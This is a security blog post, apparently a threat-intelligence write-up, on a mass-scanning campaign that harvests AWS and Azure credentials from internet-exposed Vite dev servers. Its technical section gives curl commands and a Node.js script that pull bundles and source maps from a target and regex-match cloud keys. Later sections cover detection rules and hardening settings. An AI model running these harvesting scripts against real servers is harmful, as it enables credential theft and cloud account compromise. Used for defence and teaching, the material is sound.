DEV Community

Cover image for Vite Dev Server Credential Harvesting: Mass Scanning for AWS/Azure Exfiltration
Satyam Rastogi
Satyam Rastogi

Posted on Originally published at satyamrastogi.com

Vite Dev Server Credential Harvesting: Mass Scanning for AWS/Azure Exfiltration

Originally published on satyamrastogi.com

Attackers are systematically scanning for exposed Vite dev servers to harvest AWS and Azure credentials. This post breaks down the attack chain, exploitation mechanics, and defensive countermeasures from an offensive security perspective.


Vite Dev Server Credential Harvesting: Mass Scanning for AWS/Azure Exfiltration

Executive Summary

A coordinated mass-scanning campaign is targeting internet-exposed Vite development servers to harvest cloud credentials and sensitive configurations. Vite, a modern JavaScript build tool with a built-in development server, is being weaponized as a reconnaissance and credential theft vector when exposed on public IPs without proper authentication controls.

From an attacker's perspective, this represents an exceptionally low-friction attack surface. Dev servers are stateful, typically run with elevated privileges in CI/CD pipelines, load environment variables containing plaintext credentials, and are often exposed because security controls are presumed to exist but haven't been validated. The campaign demonstrates how build infrastructure-specifically the blur between development and production environments-has become a primary attack vector.

The implications for defenders are severe: a single misconfigured dev server can leak AWS IAM credentials, Azure service principals, database connection strings, and API keys with minutes-to-hours latency before detection.

Attack Vector Analysis

Initial Reconnaissance and Mass Scanning

Attackers are conducting large-scale shodan/censys-style port scanning for Vite dev servers, typically on ports 5173 (default), 5174, or custom ports. The reconnaissance phase uses minimal resources-simple HTTP requests to identify the Vite dev server signature.

MITRE ATT&CK Mapping:

Credential Exposure Vectors

Vite dev servers expose credentials through multiple mechanisms:

  1. Environment Variable Leakage: Dev servers parse .env and .env.local files, and these variables are often available through the Vite HMR (Hot Module Replacement) endpoint or bundled into client-side code in development mode.

  2. Source Map Exposure: Development builds generate .js.map files that expose source code, including hardcoded credentials, API endpoints, and authentication logic.

  3. API Endpoint Discovery: The dev server serves the entire application directory, allowing attackers to enumerate build artifacts, configuration files, and internal API documentation.

  4. Hot Module Replacement (HMR) Abuse: The HMR websocket endpoint (/__vite_ping) and related endpoints can be exploited to retrieve runtime state and module metadata.

MITRE ATT&CK Mapping:

Technical Deep Dive

Exploitation Mechanics

A minimal proof-of-concept for harvesting credentials from an exposed Vite dev server:

# Step 1: Identify Vite dev server
curl -s http://target:5173/ | grep -i vite

# Step 2: Extract source maps (exposes source code and credentials)
curl -s http://target:5173/src/main.ts.js.map | jq .

# Step 3: Parse environment variables from bundled code
curl -s http://target:5173/index.html | grep -oP 'process\.env\.[A-Z_]+' | sort -u

# Step 4: Access dev server endpoints for AWS/Azure SDK initialization
curl -s http://target:5173/api/config
curl -s http://target:5173/config.js

# Step 5: Extract HMR metadata for runtime state
curl -s http://target:5173/__vite_ping
Enter fullscreen mode Exit fullscreen mode

More sophisticated attackers automate this via Node.js to parse bundled JavaScript and extract credential patterns:

const axios = require('axios');
const targetUrl = 'http://exposed-vite:5173';

// Fetch and parse main bundle
const response = await axios.get(`${targetUrl}/index.html`);
const bundleMatch = response.data.match(/src="\/(.*?\.js)"/g);

// Extract each bundle file
for (const bundle of bundleMatch) {
 const bundleUrl = bundle.replace(/src="\/(.*?)"/, '$1');
 const bundleContent = await axios.get(`${targetUrl}/${bundleUrl}`);

 // Regex patterns for common credential types
 const awsPattern = /AKIA[0-9A-Z]{16}/g;
 const azurePattern = /[a-zA-Z0-9_-]*@[a-zA-Z0-9_-]*\.onmicrosoft\.com/g;
 const apiKeyPattern = /api[_-]?key[\s]*[=:][\s]*['"]([a-zA-Z0-9_-]+)['"]/gi;

 // Harvest credentials
 const credentials = {
 aws: bundleContent.data.match(awsPattern) || [],
 azure: bundleContent.data.match(azurePattern) || [],
 apiKeys: bundleContent.data.match(apiKeyPattern) || []
 };

 console.log(credentials);
}
Enter fullscreen mode Exit fullscreen mode

Real-World Attack Flow

  1. Mass scan for ports 5173-5180 across target CIDR ranges or known cloud provider IP ranges
  2. Identify Vite signatures via HTTP headers or index.html content
  3. Fetch index.html and enumerate bundle paths
  4. Download .js.map files (typically uncompressed and verbose)
  5. Extract AWS credential patterns (AKIA prefix for access keys, AWS_SECRET_ACCESS_KEY patterns)
  6. Parse Azure service principal credentials and client secrets
  7. Test credentials against AWS STS API: sts:GetCallerIdentity or Azure Graph API
  8. Immediately begin lateral movement within compromised cloud accounts

This entire chain can be automated and executed at scale. A single exposed Vite dev server can expose production AWS credentials with full S3, RDS, EC2, and Lambda access.

Detection Strategies

Network-Level Detection

Blue teams should implement these detection mechanisms:

  1. Port Monitoring: Alert on unexpected open ports 5173-5180, particularly if originating from external ASNs or non-whitelisted IP ranges.

  2. HTTP Signature Detection:

Alert on HTTP responses containing:
- "vite" in Server or X-Powered-By headers
- /__vite_ping or /__vite_hmr endpoints
- /.map file requests (source map enumeration)
- /node_modules requests from external IPs
Enter fullscreen mode Exit fullscreen mode
  1. Credential Pattern Detection: Monitor VPC flow logs and CloudTrail for:
    • Unexpected STS:GetCallerIdentity calls from non-standard IPs
    • Credential usage from IPs matching known scanner ASNs
    • AWS access keys first seen in non-dev environments

Host-Level Detection

  1. Process Monitoring: Alert if Node.js dev server processes execute on production systems or listen on non-loopback interfaces.

  2. File Access Logging: Monitor for .env and .env.local file reads by Node.js processes not running in sandboxed dev containers.

  3. Network Egress Monitoring: Track outbound connections from Vite dev servers; legitimate dev servers should have minimal external connectivity.

Application-Level Detection

  1. Source Map Requests: Alert on .js.map file requests from non-localhost IPs.
  2. Credential Scanning: Use tools like TruffleHog or custom YARA rules to detect credentials in bundled JavaScript.
  3. HMR Endpoint Access: Log and alert on /__vite_hmr websocket connections from external IPs.

Mitigation & Hardening

Development Environment Isolation

  1. Network Segmentation: Run Vite dev servers only on loopback interfaces (127.0.0.1:5173) or within isolated VPCs. Never expose dev servers to the internet.
 # Vulnerable configuration
 vite --host 0.0.0.0 --port 5173

 # Hardened configuration
 vite --host 127.0.0.1 --port 5173
Enter fullscreen mode Exit fullscreen mode
  1. Container-Level Isolation: If dev servers must be remotely accessible, run them in ephemeral containers with network policies restricting inbound traffic to specific IPs.
 apiVersion: networking.k8s.io/v1
 kind: NetworkPolicy
 metadata:
 name: vite-dev-isolation
 spec:
 podSelector:
 matchLabels:
 app: vite-dev
 ingress:
 - from:
 - podSelector:
 matchLabels:
 role: developer
 ports:
 - protocol: TCP
 port: 5173
Enter fullscreen mode Exit fullscreen mode
  1. VPC and Security Group Hardening: Restrict inbound traffic to Vite dev servers using security groups, NACLs, and WAF rules. Use CISA guidelines for network segmentation.

Credential Management

  1. Eliminate Plaintext Secrets: Replace .env files with IAM roles for EC2, ECS, Lambda execution roles, or Azure Managed Identities.
 // Vulnerable: credentials in .env
 const AWS_ACCESS_KEY_ID = process.env.AWS_ACCESS_KEY_ID;

 // Hardened: use IAM roles
 const AWS = require('aws-sdk');
 // Automatically uses EC2 instance role or ECS task role
Enter fullscreen mode Exit fullscreen mode
  1. Rotate Credentials: Implement automatic credential rotation (every 30-90 days) for any credentials that must be stored in dev environments.

  2. Audit Environment Variables: Use tools like OWASP dependency-check to identify hardcoded secrets in dependencies and build artifacts.

Build Pipeline Security

  1. Source Map Exclusion: Disable source maps in production builds and exclude .map files from deployment packages.
 // vite.config.js
 export default {
 build: {
 sourcemap: process.env.NODE_ENV === 'development',
 rollupOptions: {
 output: {
 manualChunks: (id) => {
 if (id.includes('node_modules')) return 'vendor';
 }
 }
 }
 }
 };
Enter fullscreen mode Exit fullscreen mode
  1. Dev Dependencies Removal: Ensure build pipelines strip dev dependencies before deployment. Use npm ci with --production flag.

  2. CI/CD Environment Hardening: Run builds in ephemeral containers with minimal network access. Implement least-privilege service accounts for CI/CD systems.

Monitoring and Incident Response

  1. Real-Time Alerting: Implement SIEM rules to alert on Vite dev server exposure with 1-hour escalation SLA. Integrate with Slack/PagerDuty for immediate response.

  2. Credential Recon Playbook: Define incident response procedures for exposed credentials including immediate rotation, access key disabling, and blast radius analysis.

  3. Supply Chain Visibility: Map all dev servers across your infrastructure using MITRE ATT&CK's T1526 (Enumerate Cloud Resources) detection controls.

Key Takeaways

  • Dev-to-Prod Collapse: Attackers are weaponizing the traditional dev/prod boundary collapse. A single exposed dev server with cloud credentials is equivalent to compromised cloud account access.

  • Low Friction, High Payoff: This attack requires minimal sophistication-port scanning + credential pattern matching. The payoff is production cloud account access, making this an extremely attractive vector for mass campaigns.

  • Build Artifacts as Threat Surface: Vite's HMR, source maps, and bundled configurations create an attack surface that defenders often don't account for. Similar vulnerabilities exist in webpack dev servers, Next.js dev mode, and other build tools. See our analysis of patch automation weaponization for how build infrastructure intersects with rapid deployment risks.

  • Credentials in Bundles: Modern JavaScript build tools often inadvertently bundle environment variables and configuration into client-side code. This is fundamentally insecure and should be eliminated through IAM role-based authentication.

  • Network Perimeter is Dead: Relying on firewall rules to protect dev servers is insufficient. Implement zero-trust principles: require authentication/authorization even for internal dev services, and assume external exposure is inevitable.

For deeper context on how cloud infrastructure becomes attack surface, review our cloud asset security analysis which covers similar reconnaissance patterns in Azure and AWS environments.

Related Articles

Top comments (0)